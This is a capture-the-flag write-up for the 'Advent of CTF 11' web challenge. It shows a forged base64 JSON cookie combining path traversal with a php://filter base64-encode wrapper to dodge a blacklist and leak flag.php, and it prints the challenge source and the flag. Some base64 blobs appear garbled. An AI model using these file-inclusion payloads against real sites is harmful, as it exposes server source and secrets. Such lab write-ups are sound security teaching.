

AdventOfCTF-11

Challenge

7 Solves



11

1100

web

Santa's book of secrets has upgraded its security. All should be fine now.

Visit <https://11.adventofctf.com> to start the challenge.

Unlock Hint for 550 points

Flag

Submit

Advent of CTF 11

Your daily dose of CTF for December

Pages in Santa's big book

Currently there is only one person on the naughty list....

Who has been most naughty?

We find that this cookie gets set:

```
eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0%3D
```

If we try to decode this base64 encoded data we get

```
{"path": ".", "page": "main"}
```

This is very similar to challenge day 10. If we try to substitute the page main to flag we get this page back:

```
{"path": ".", "page": "flag"}
```

```
eyJwYXRoIjoiLiIsInBhZ2UiOiJmbGFnIn0=
```

Advent of CTF 11

Your daily dose of CTF for December

Pages in Santa's big book

Are you trying to get yourself on the naughty list? (no_direct_access)

Who has been most naughty?

We need to find a way of getting to the flag.php page. There many ways one is to use set the cookie to this value:

```
{"path": ".", "page": "main/../../flag"}  
eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluLy4uL2ZsYWcifQ==
```

Advent of CTF 11

Your daily dose of CTF for December

Pages in Santa's big book

Why does Egische keep showing up?

You are on the right page, but you cannot see what you want yet. Go get promoted!

Who has been most naughty?

Nice. Now we need to include the content of the page

So let's try to use filters!

```
{"path": ".", "page": "php://filter/convert.base64-encode/resource=main/../../flag"}
```

```
eyJwYXRoIjoiLiIsInBhZ2UiOiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlP  
W1haW4vLi4vZmxhZyJ9
```

Advent of CTF 11

Your daily dose of CTF for December

Pages in Santa's big book

Are you trying to get yourself on the naughty list? (blacklist)

Who has been most naughty?

The page is pretty locked down. Time to get creative.

```
{"path": "php://filter", "page": "convert.base64-encode/resource=main/../../flag"}
```

And base64 encode it

```
eyJwYXRoIjoicGhwOi8vZmlsdGVyIiwicGFnZSI6ImNvbnZlcuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1tYWluLy4uL2ZsYWcifQ==
```

Edit the page cookie with this new one and refresh the page.

Your daily dose of CTF for December

PD9waHAKaWYoIWRIZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ
0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRlZCcpOwp9Cj8+Cgo8aDQ
+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNoY3dpbmcdXA/PC9oND4
KPD9waHAKCmlmICgkX0NPT0tURVsiemVyb29uZW9uZSjdKSB7CiAgIC
AkZGF0YSA9IGpzb25fZGVjb2RIKGIJhc2U2NF9kZWNVZGUoJF9DT09LSU
Vblnplcm9vbmVvbmluXSkSIHRydWUpOwp9CgppZiAoZmFsc2UplHsK
Pz4KICAgIDxwPgogICAgICAgICRoZSBkYXJlIHNIY3JldCBvbiB0aGlzIHBo
Z2UgaXM6IE5PVkl7TEZJX2FuZ9zdDFsbF95b3VfZjB1bmRfaXR9CiAgIC
A8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYX
JlIG9uIHRoZSByaWdodCBwYXdlLCBidXQgeW91IGNhbm5vdCBzZWUg
d2hhZCB5b3Ugd2FudCB5ZXQulEdvIGdldCBwcm9tb3RlZCEKICAgIDwv
cD4KPD9waHAKfQo/Pgo=

PD9waHAKawYoIWRlZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRlZCcpOwp9Cj8+Cgo8aDQ+V2h5IGRvZXMGdWdpdpc2NoZSBrZWVwIHNoY2pbmcgdXA/Pc9oND4KPD9waHAKCmlmICgkX0NPT0tJRVSiemVybm9uZW9uZSJdKSB7CiAgICAKZGF0YSA9IGpz b25fZGVjb2RlKGJhc2U2NF9kZWNVzGUoJF9DT09LSUVbInplcm9vb mVbmUiXSksIHRydWUp0wp9CGppZiAoZmFsc2UpIHSKPz4KICAgIDxwPgogICAgICAgIFRoZSBkYXJrIHNLyY3JldCBvbiB0aGlzIHBIh2UGaXM6IE5PVkl7TEZJX2FuZ9zdDFsbF95b3VfZjB1bmRfaXR9CiAgICA8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYXJJIG9uIHRoZSByaWdodCBwYXdllLCBidlXQgew91IGNhbmb5vdCBzZWUgd2hh dCB5b3Ugd2FudCB5ZXQuIEdvIGdl dCBwcm9tb3RlZCEKICAgIDwvcD4KPD9waHAKfQo/Pgo=

AdventOfCTF-11

```

<?php
if(!defined('MyConst')) {
    die('Direct access not permitted');
}
?>

<h4>Why does Egische keep showing up?</h4>
<?php

if ($_COOKIE["zerooneone"]) {
    $data = json_decode(base64_decode($_COOKIE["zerooneone"]), true);
}

if (false) {
?>
    <p>
        The dark secret on this page is: NOVI{LFI_and_st1ll_you_f0und_it}
    </p>
<?
} else {
?>
    <p>
        You are on the right page, but you cannot see what you want yet. Go get promo
ted!
    </p>
<?php
}
?>

```

Flag: NOVI{LFI_and_st1ll_you_f0und_it}

